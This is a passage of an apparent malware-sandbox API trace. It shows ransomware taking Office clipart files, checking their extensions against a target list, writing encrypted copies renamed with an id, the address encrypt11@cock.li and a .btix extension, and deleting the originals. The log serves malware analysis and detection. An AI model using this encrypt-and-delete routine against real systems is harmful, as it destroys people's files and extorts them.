lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString=".xls") returned 4 [0148.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.059] lstrlenW (lpString=".xlsx") returned 5 [0148.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.059] lstrlenW (lpString=".ppt") returned 4 [0148.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.059] lstrlenW (lpString=".zip") returned 4 [0148.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.059] lstrlenW (lpString=".rar") returned 4 [0148.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString=".bz2") returned 4 [0148.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString=".7z") returned 3 [0148.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.060] lstrlenW (lpString=".dbf") returned 4 [0148.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.060] lstrlenW (lpString=".1cd") returned 4 [0148.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.060] lstrlenW (lpString=".jpg") returned 4 [0148.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.060] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.060] lstrlenW (lpString="HH01329_.WMF") returned 12 [0148.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.060] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=6016) returned 1 [0148.060] CloseHandle (hObject=0x374) returned 1 [0148.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0148.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.061] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.061] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.061] GetLastError () returned 0x0 [0148.061] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1780, lpOverlapped=0x0) returned 1 [0148.062] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1790, lpOverlapped=0x0) returned 1 [0148.063] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.063] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.063] SetEndOfFile (hFile=0x378) returned 1 [0148.063] CloseHandle (hObject=0x378) returned 1 [0148.063] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.063] SetEndOfFile (hFile=0x374) returned 1 [0148.064] CloseHandle (hObject=0x374) returned 1 [0148.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0148.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.065] lstrlenW (lpString=".doc") returned 4 [0148.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString=".docx") returned 5 [0148.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.065] lstrlenW (lpString=".pdf") returned 4 [0148.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString=".xls") returned 4 [0148.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.065] lstrlenW (lpString=".xlsx") returned 5 [0148.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.065] lstrlenW (lpString=".ppt") returned 4 [0148.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.065] lstrlenW (lpString=".zip") returned 4 [0148.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.065] lstrlenW (lpString=".rar") returned 4 [0148.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString=".bz2") returned 4 [0148.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString=".7z") returned 3 [0148.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.065] lstrlenW (lpString=".dbf") returned 4 [0148.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.065] lstrlenW (lpString=".1cd") returned 4 [0148.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.065] lstrlenW (lpString=".jpg") returned 4 [0148.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.066] lstrlenW (lpString=".doc") returned 4 [0148.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.066] lstrlenW (lpString=".docx") returned 5 [0148.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.066] lstrlenW (lpString=".pdf") returned 4 [0148.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.066] lstrlenW (lpString=".xls") returned 4 [0148.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.066] lstrlenW (lpString=".xlsx") returned 5 [0148.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.066] lstrlenW (lpString=".ppt") returned 4 [0148.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.066] lstrlenW (lpString=".zip") returned 4 [0148.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.066] lstrlenW (lpString=".rar") returned 4 [0148.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.066] lstrlenW (lpString=".bz2") returned 4 [0148.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.066] lstrlenW (lpString=".7z") returned 3 [0148.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.066] lstrlenW (lpString=".dbf") returned 4 [0148.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.066] lstrlenW (lpString=".1cd") returned 4 [0148.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0148.066] lstrlenW (lpString=".jpg") returned 4 [0148.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.066] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.067] lstrlenW (lpString="HH01461_.WMF") returned 12 [0148.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.067] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=5958) returned 1 [0148.067] CloseHandle (hObject=0x374) returned 1 [0148.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0148.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.067] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.067] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.068] GetLastError () returned 0x0 [0148.068] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1746, lpOverlapped=0x0) returned 1 [0148.068] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1750, lpOverlapped=0x0) returned 1 [0148.069] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.069] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.069] SetEndOfFile (hFile=0x378) returned 1 [0148.070] CloseHandle (hObject=0x378) returned 1 [0148.070] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.070] SetEndOfFile (hFile=0x374) returned 1 [0148.071] CloseHandle (hObject=0x374) returned 1 [0148.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0148.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.071] lstrlenW (lpString=".doc") returned 4 [0148.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.071] lstrlenW (lpString=".docx") returned 5 [0148.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.071] lstrlenW (lpString=".pdf") returned 4 [0148.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.071] lstrlenW (lpString=".xls") returned 4 [0148.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.071] lstrlenW (lpString=".xlsx") returned 5 [0148.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.071] lstrlenW (lpString=".ppt") returned 4 [0148.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.071] lstrlenW (lpString=".zip") returned 4 [0148.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.071] lstrlenW (lpString=".rar") returned 4 [0148.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString=".bz2") returned 4 [0148.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString=".7z") returned 3 [0148.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.072] lstrlenW (lpString=".dbf") returned 4 [0148.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.072] lstrlenW (lpString=".1cd") returned 4 [0148.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.072] lstrlenW (lpString=".jpg") returned 4 [0148.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.072] lstrlenW (lpString=".doc") returned 4 [0148.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString=".docx") returned 5 [0148.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.072] lstrlenW (lpString=".pdf") returned 4 [0148.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString=".xls") returned 4 [0148.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.072] lstrlenW (lpString=".xlsx") returned 5 [0148.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.072] lstrlenW (lpString=".ppt") returned 4 [0148.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.072] lstrlenW (lpString=".zip") returned 4 [0148.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.072] lstrlenW (lpString=".rar") returned 4 [0148.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.072] lstrlenW (lpString=".bz2") returned 4 [0148.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.073] lstrlenW (lpString=".7z") returned 3 [0148.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.073] lstrlenW (lpString=".dbf") returned 4 [0148.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.073] lstrlenW (lpString=".1cd") returned 4 [0148.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0148.073] lstrlenW (lpString=".jpg") returned 4 [0148.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.073] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.073] lstrlenW (lpString="HH01618_.WMF") returned 12 [0148.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.073] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=7296) returned 1 [0148.073] CloseHandle (hObject=0x374) returned 1 [0148.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0148.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.074] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.074] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.074] GetLastError () returned 0x0 [0148.074] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1c80, lpOverlapped=0x0) returned 1 [0148.075] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1c90, lpOverlapped=0x0) returned 1 [0148.076] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.076] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.076] SetEndOfFile (hFile=0x378) returned 1 [0148.076] CloseHandle (hObject=0x378) returned 1 [0148.076] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.076] SetEndOfFile (hFile=0x374) returned 1 [0148.077] CloseHandle (hObject=0x374) returned 1 [0148.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0148.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.078] lstrlenW (lpString=".doc") returned 4 [0148.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString=".docx") returned 5 [0148.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.078] lstrlenW (lpString=".pdf") returned 4 [0148.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString=".xls") returned 4 [0148.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.078] lstrlenW (lpString=".xlsx") returned 5 [0148.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.078] lstrlenW (lpString=".ppt") returned 4 [0148.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.078] lstrlenW (lpString=".zip") returned 4 [0148.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.078] lstrlenW (lpString=".rar") returned 4 [0148.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString=".bz2") returned 4 [0148.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString=".7z") returned 3 [0148.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.078] lstrlenW (lpString=".dbf") returned 4 [0148.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.078] lstrlenW (lpString=".1cd") returned 4 [0148.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.078] lstrlenW (lpString=".jpg") returned 4 [0148.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.078] lstrlenW (lpString=".doc") returned 4 [0148.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.079] lstrlenW (lpString=".docx") returned 5 [0148.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.079] lstrlenW (lpString=".pdf") returned 4 [0148.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.079] lstrlenW (lpString=".xls") returned 4 [0148.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.079] lstrlenW (lpString=".xlsx") returned 5 [0148.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.079] lstrlenW (lpString=".ppt") returned 4 [0148.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0148.079] 